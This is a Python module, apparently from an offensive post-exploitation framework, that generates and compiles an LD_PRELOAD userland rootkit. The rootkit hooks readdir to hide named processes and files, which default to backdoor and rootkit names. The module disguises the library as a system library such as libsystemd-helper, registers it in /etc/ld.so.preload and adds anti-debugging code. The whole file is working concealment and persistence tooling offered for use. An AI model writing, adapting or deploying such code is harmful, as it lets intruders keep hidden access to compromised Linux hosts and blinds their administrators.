#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
LD_PRELOAD 进程隐藏权限维持模块
实现基于 LD_PRELOAD 的进程和文件隐藏技术
"""

import os
import sys
import json
import shutil
import subprocess
import tempfile
import hashlib
from typing import Dict, List, Optional, Tuple
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class LDPreloadPersistenceModule(BasePersistenceModule):
    """LD_PRELOAD 进程隐藏权限维持模块"""
    
    def __init__(self):
        super().__init__("ld_preload", ["linux"])
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # LD_PRELOAD 相关路径
        self.preload_paths = {
            'global_config': '/etc/ld.so.preload',
            'lib_dirs': [
                '/usr/lib/',
                '/usr/lib64/',
                '/lib/',
                '/lib64/',
                '/usr/local/lib/',
                '/opt/lib/'
            ]
        }
        
        # 隐藏目标配置
        self.hide_targets = {
            'processes': [],  # 要隐藏的进程名
            'files': [],      # 要隐藏的文件/目录
            'network': []     # 要隐藏的网络连接
        }
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署 LD_PRELOAD 隐藏机制"""
        try:
            self.logger.info(f"开始部署 LD_PRELOAD 隐藏机制")
            
            # 检查权限
            if not self._check_root_privileges():
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="需要 root 权限来部署 LD_PRELOAD 隐藏机制"
                )
            
            # 检查编译环境
            if not self._check_build_environment():
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="缺少编译环境（gcc, make）"
                )
            
            # 生成实例ID
            instance_id = f"ldpreload_{int(time.time())}"
            
            # 解析配置中的隐藏目标
            hide_config = self._parse_hide_config(config)
            
            # 选择库文件位置
            lib_path = self._select_lib_path(config.stealth_level)
            lib_name = self._generate_lib_name(config.stealth_level)
            full_lib_path = os.path.join(lib_path, lib_name)
            
            # 生成恶意共享库
            if not self._create_preload_library(hide_config, full_lib_path, config.stealth_level):
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="创建 LD_PRELOAD 库失败"
                )
            
            # 配置 LD_PRELOAD
            preload_config = self._configure_ld_preload(full_lib_path, config.stealth_level)
            if not preload_config:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="配置 LD_PRELOAD 失败"
                )
            
            # 保存实例信息
            instance_info = {
                'instance_id': instance_id,
                'lib_path': full_lib_path,
                'preload_config': preload_config,
                'hide_targets': hide_config,
                'stealth_level': config.stealth_level,
                'deployed_at': time.time(),
                'status': PersistenceStatus.DEPLOYED.value
            }
            
            self.deployed_instances[instance_id] = instance_info
            self._save_instance_config(instance_id, instance_info)
            
            self.logger.info(f"LD_PRELOAD 隐藏机制部署成功: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.DEPLOYED,
                message=f"LD_PRELOAD 隐藏机制部署成功",
                details={
                    'instance_id': instance_id,
                    'lib_path': full_lib_path,
                    'hidden_processes': hide_config.get('processes', []),
                    'hidden_files': hide_config.get('files', [])
                }
            )
            
        except Exception as e:
            self.logger.error(f"部署 LD_PRELOAD 隐藏机制失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查 LD_PRELOAD 隐藏机制状态"""
        try:
            if instance_id not in self.deployed_instances:
                # 尝试从配置文件加载
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.UNKNOWN,
                        message=f"实例 {instance_id} 不存在"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            lib_path = instance_info['lib_path']
            
            # 检查库文件是否存在
            if not os.path.exists(lib_path):
                instance_info['status'] = PersistenceStatus.INACTIVE.value
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.INACTIVE,
                    message=f"LD_PRELOAD 库文件不存在: {lib_path}"
                )
            
            # 检查 LD_PRELOAD 配置
            is_active = self._check_preload_active(lib_path)
            
            if is_active:
                instance_info['status'] = PersistenceStatus.ACTIVE.value
                status = PersistenceStatus.ACTIVE
                message = "LD_PRELOAD 隐藏机制正常运行"
            else:
                instance_info['status'] = PersistenceStatus.INACTIVE.value
                status = PersistenceStatus.INACTIVE
                message = "LD_PRELOAD 隐藏机制未激活"
            
            return PersistenceResult(
                success=is_active,
                status=status,
                message=message,
                details={
                    'lib_path': lib_path,
                    'last_check': time.time()
                }
            )
            
        except Exception as e:
            self.logger.error(f"检查 LD_PRELOAD 状态失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.UNKNOWN,
                message=f"状态检查失败: {str(e)}"
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复 LD_PRELOAD 隐藏机制"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.UNKNOWN,
                        message=f"实例 {instance_id} 不存在"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            lib_path = instance_info['lib_path']
            
            # 检查库文件
            if not os.path.exists(lib_path):
                # 重新创建库文件
                hide_config = instance_info['hide_targets']
                stealth_level = instance_info['stealth_level']
                
                if not self._create_preload_library(hide_config, lib_path, stealth_level):
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.FAILED,
                        message="重新创建 LD_PRELOAD 库失败"
                    )
            
            # 重新配置 LD_PRELOAD
            preload_config = self._configure_ld_preload(lib_path, instance_info['stealth_level'])
            if not preload_config:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="重新配置 LD_PRELOAD 失败"
                )
            
            instance_info['status'] = PersistenceStatus.ACTIVE.value
            instance_info['repaired_at'] = time.time()
            
            self.logger.info(f"LD_PRELOAD 隐藏机制修复成功: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.ACTIVE,
                message="LD_PRELOAD 隐藏机制修复成功"
            )
            
        except Exception as e:
            self.logger.error(f"修复 LD_PRELOAD 失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理 LD_PRELOAD 隐藏机制"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=True,
                        status=PersistenceStatus.REMOVED,
                        message=f"实例 {instance_id} 不存在或已清理"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            lib_path = instance_info['lib_path']
            
            # 移除 LD_PRELOAD 配置
            self._remove_preload_config(lib_path)
            
            # 删除库文件
            if os.path.exists(lib_path):
                os.remove(lib_path)
                self.logger.info(f"删除库文件: {lib_path}")
            
            # 清理实例信息
            if instance_id in self.deployed_instances:
                del self.deployed_instances[instance_id]
            
            # 删除配置文件
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                os.remove(config_file)
            
            self.logger.info(f"LD_PRELOAD 隐藏机制清理完成: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.REMOVED,
                message="LD_PRELOAD 隐藏机制清理完成"
            )
            
        except Exception as e:
            self.logger.error(f"清理 LD_PRELOAD 失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有 LD_PRELOAD 实例"""
        instances = []
        for instance_id, info in self.deployed_instances.items():
            instances.append({
                'instance_id': instance_id,
                'status': info.get('status', 'unknown'),
                'lib_path': info.get('lib_path', ''),
                'deployed_at': info.get('deployed_at', 0),
                'hidden_targets': len(info.get('hide_targets', {}).get('processes', [])) + 
                                len(info.get('hide_targets', {}).get('files', []))
            })
        return instances
    
    def _check_root_privileges(self) -> bool:
        """检查是否有 root 权限"""
        return os.geteuid() == 0
    
    def _check_build_environment(self) -> bool:
        """检查编译环境"""
        try:
            subprocess.run(['gcc', '--version'], capture_output=True, check=True)
            return True
        except (subprocess.CalledProcessError, FileNotFoundError):
            return False
    
    def _parse_hide_config(self, config: PersistenceConfig) -> Dict:
        """解析隐藏配置"""
        hide_config = {
            'processes': [],
            'files': [],
            'network': []
        }
        
        # 从配置中解析隐藏目标
        if hasattr(config, 'metadata') and config.metadata:
            hide_config.update(config.metadata.get('hide_targets', {}))
        
        # 默认隐藏一些常见的后门进程和文件
        if not hide_config['processes']:
            hide_config['processes'] = ['backdoor', 'rootkit', 'malware']
        
        if not hide_config['files']:
            hide_config['files'] = ['/tmp/.hidden', '/var/tmp/.backdoor']
        
        return hide_config
    
    def _select_lib_path(self, stealth_level: int) -> str:
        """选择库文件路径"""
        if stealth_level >= 8:
            # 高隐蔽性：使用系统库目录
            return '/usr/lib64/'
        elif stealth_level >= 5:
            # 中等隐蔽性：使用本地库目录
            return '/usr/local/lib/'
        else:
            # 低隐蔽性：使用临时目录
            return '/tmp/'
    
    def _generate_lib_name(self, stealth_level: int) -> str:
        """生成库文件名"""
        if stealth_level >= 8:
            # 伪装成系统库
            legitimate_names = [
                'libsystemd-helper.so.0',
                'libpam-misc.so.0',
                'libaudit-helper.so.1',
                'libcrypt-compat.so.1'
            ]
            return legitimate_names[stealth_level % len(legitimate_names)]
        elif stealth_level >= 5:
            # 使用通用名称
            return f'libhook_{stealth_level}.so'
        else:
            # 简单名称
            return 'libhide.so'
    
    def _create_preload_library(self, hide_config: Dict, output_path: str, stealth_level: int) -> bool:
        """创建 LD_PRELOAD 库"""
        try:
            # 生成 C 代码
            c_code = self._generate_preload_code(hide_config, stealth_level)
            
            # 创建临时源文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
                f.write(c_code)
                source_file = f.name
            
            try:
                # 编译共享库
                compile_cmd = [
                    'gcc', '-shared', '-fPIC', '-ldl',
                    '-o', output_path, source_file
                ]
                
                if stealth_level >= 8:
                    # 高隐蔽性：优化编译选项
                    compile_cmd.extend(['-O2', '-s', '-DNDEBUG'])
                
                result = subprocess.run(compile_cmd, capture_output=True, text=True)
                
                if result.returncode != 0:
                    self.logger.error(f"编译失败: {result.stderr}")
                    return False
                
                # 设置权限
                os.chmod(output_path, 0o755)
                
                self.logger.info(f"LD_PRELOAD 库创建成功: {output_path}")
                return True
                
            finally:
                # 清理临时文件
                if os.path.exists(source_file):
                    os.unlink(source_file)
                
        except Exception as e:
            self.logger.error(f"创建 LD_PRELOAD 库失败: {str(e)}")
            return False
    
    def _generate_preload_code(self, hide_config: Dict, stealth_level: int) -> str:
        """生成 LD_PRELOAD C 代码"""
        processes = hide_config.get('processes', [])
        files = hide_config.get('files', [])
        
        # 生成隐藏进程的字符串数组
        process_array = ', '.join([f'"{p}"' for p in processes])
        file_array = ', '.join([f'"{f}"' for f in files])
        
        code = f'''
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>

// 隐藏的进程名列表
static const char* hidden_processes[] = {{{process_array}, NULL}};

// 隐藏的文件/目录列表
static const char* hidden_files[] = {{{file_array}, NULL}};

// 原始函数指针
static struct dirent* (*original_readdir)(DIR*) = NULL;
static int (*original_readdir_r)(DIR*, struct dirent*, struct dirent**) = NULL;
static long (*original_syscall)(long, ...) = NULL;

// 检查是否应该隐藏进程
static int should_hide_process(const char* name) {{
    for (int i = 0; hidden_processes[i] != NULL; i++) {{
        if (strstr(name, hidden_processes[i]) != NULL) {{
            return 1;
        }}
    }}
    return 0;
}}

// 检查是否应该隐藏文件
static int should_hide_file(const char* name) {{
    for (int i = 0; hidden_files[i] != NULL; i++) {{
        if (strstr(name, hidden_files[i]) != NULL) {{
            return 1;
        }}
    }}
    return 0;
}}

// 劫持 readdir 函数
struct dirent* readdir(DIR* dirp) {{
    if (original_readdir == NULL) {{
        original_readdir = dlsym(RTLD_NEXT, "readdir");
    }}
    
    struct dirent* entry;
    while ((entry = original_readdir(dirp)) != NULL) {{
        // 检查是否需要隐藏
        if (should_hide_process(entry->d_name) || should_hide_file(entry->d_name)) {{
            continue;  // 跳过隐藏的条目
        }}
        break;
    }}
    
    return entry;
}}

// 劫持 readdir_r 函数
int readdir_r(DIR* dirp, struct dirent* entry, struct dirent** result) {{
    if (original_readdir_r == NULL) {{
        original_readdir_r = dlsym(RTLD_NEXT, "readdir_r");
    }}
    
    int ret;
    do {{
        ret = original_readdir_r(dirp, entry, result);
        if (ret != 0 || *result == NULL) {{
            break;
        }}
        
        // 检查是否需要隐藏
        if (should_hide_process(entry->d_name) || should_hide_file(entry->d_name)) {{
            continue;  // 继续读取下一个条目
        }}
        break;
    }} while (1);
    
    return ret;
}}

// 构造函数：库加载时执行
__attribute__((constructor))
static void init() {{
    // 静默初始化
}}

// 析构函数：库卸载时执行
__attribute__((destructor))
static void cleanup() {{
    // 静默清理
}}
'''
        
        if stealth_level >= 8:
            # 高隐蔽性：添加反调试和混淆
            code += '''
// 反调试检测
static int detect_debugger() {
    char buf[1024];
    FILE* f = fopen("/proc/self/status", "r");
    if (f) {
        while (fgets(buf, sizeof(buf), f)) {
            if (strncmp(buf, "TracerPid:", 10) == 0) {
                int pid = atoi(buf + 10);
                fclose(f);
                return pid != 0;
            }
        }
        fclose(f);
    }
    return 0;
}

// 混淆字符串
static void obfuscate_strings() {
    // 简单的字符串混淆
    static int initialized = 0;
    if (!initialized) {
        initialized = 1;
    }
}
'''
        
        return code
    
    def _configure_ld_preload(self, lib_path: str, stealth_level: int) -> Optional[Dict]:
        """配置 LD_PRELOAD"""
        try:
            config_info = {}
            
            if stealth_level >= 8:
                # 高隐蔽性：修改全局配置
                preload_file = self.preload_paths['global_config']
                
                # 备份原始配置
                if os.path.exists(preload_file):
                    backup_file = f"{preload_file}.backup"
                    shutil.copy2(preload_file, backup_file)
                    config_info['backup_file'] = backup_file
                
                # 添加库到全局配置
                with open(preload_file, 'a') as f:
                    f.write(f"{lib_path}\n")
                
                config_info['method'] = 'global'
                config_info['config_file'] = preload_file
                
            else:
                # 中低隐蔽性：使用环境变量
                # 创建启动脚本
                script_path = f"/tmp/.preload_init_{stealth_level}.sh"
                with open(script_path, 'w') as f:
                    f.write(f'''#!/bin/bash
export LD_PRELOAD="{lib_path}:$LD_PRELOAD"
exec "$@"
''')
                os.chmod(script_path, 0o755)
                
                config_info['method'] = 'script'
                config_info['script_path'] = script_path
            
            return config_info
            
        except Exception as e:
            self.logger.error(f"配置 LD_PRELOAD 失败: {str(e)}")
            return None
    
    def _check_preload_active(self, lib_path: str) -> bool:
        """检查 LD_PRELOAD 是否激活"""
        try:
            # 检查全局配置文件
            preload_file = self.preload_paths['global_config']
            if os.path.exists(preload_file):
                with open(preload_file, 'r') as f:
                    content = f.read()
                    if lib_path in content:
                        return True
            
            # 检查当前环境变量
            ld_preload = os.environ.get('LD_PRELOAD', '')
            if lib_path in ld_preload:
                return True
            
            return False
            
        except Exception:
            return False
    
    def _remove_preload_config(self, lib_path: str):
        """移除 LD_PRELOAD 配置"""
        try:
            # 从全局配置文件中移除
            preload_file = self.preload_paths['global_config']
            if os.path.exists(preload_file):
                with open(preload_file, 'r') as f:
                    lines = f.readlines()
                
                # 过滤掉包含库路径的行
                filtered_lines = [line for line in lines if lib_path not in line]
                
                with open(preload_file, 'w') as f:
                    f.writelines(filtered_lines)
            
        except Exception as e:
            self.logger.error(f"移除 LD_PRELOAD 配置失败: {str(e)}")
    
    def _save_instance_config(self, instance_id: str, config: Dict):
        """保存实例配置"""
        try:
            config_file = f"/tmp/.{instance_id}_config.json"
            with open(config_file, 'w') as f:
                json.dump(config, f, indent=2)
        except Exception as e:
            self.logger.error(f"保存实例配置失败: {str(e)}")
    
    def _load_instance_config(self, instance_id: str) -> Optional[Dict]:
        """加载实例配置"""
        try:
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                with open(config_file, 'r') as f:
                    return json.load(f)
        except Exception as e:
            self.logger.error(f"加载实例配置失败: {str(e)}")
        return None
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not self.is_platform_supported():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="当前平台不支持 LD_PRELOAD 隐藏"
            )
        
        if not self._check_root_privileges():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="需要 root 权限"
            )
        
        if not self._check_build_environment():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="缺少编译环境"
            )
        
        return PersistenceResult(
            success=True,
            status=PersistenceStatus.UNKNOWN,
            message="配置验证通过"
        )


def create_module():
    """创建 LD_PRELOAD 权限维持模块实例"""
    return LDPreloadPersistenceModule()


if __name__ == "__main__":
    import time
    
    module = LDPreloadPersistenceModule()
    
    # 测试配置
    config = PersistenceConfig(
        name="test_ldpreload",
        payload="test",
        trigger="startup",
        stealth_level=PersistenceLevel.HIGH,
        persistence_level=PersistenceLevel.HIGH,
        metadata={
            'hide_targets': {
                'processes': ['backdoor', 'rootkit'],
                'files': ['/tmp/.hidden', '/var/tmp/.backdoor']
            }
        }
    )
    
    print("=== LD_PRELOAD 进程隐藏模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    print(f"Root权限: {module._check_root_privileges()}")
    print(f"编译环境: {module._check_build_environment()}")
    
    # 配置验证
    validation_result = module.validate_config(config)
    print(f"配置验证: {validation_result}")
    
    if validation_result.success and module._check_root_privileges():
        # 部署测试
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.details['instance_id']
            
            # 状态检查
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 实例列表
            instances = module.list_instances()
            print(f"实例列表: {instances}")
            
            # 清理
            clean_result = module.clean(instance_id)
            print(f"清理结果: {clean_result}")
    else:
        print("跳过部署测试（需要root权限和编译环境）")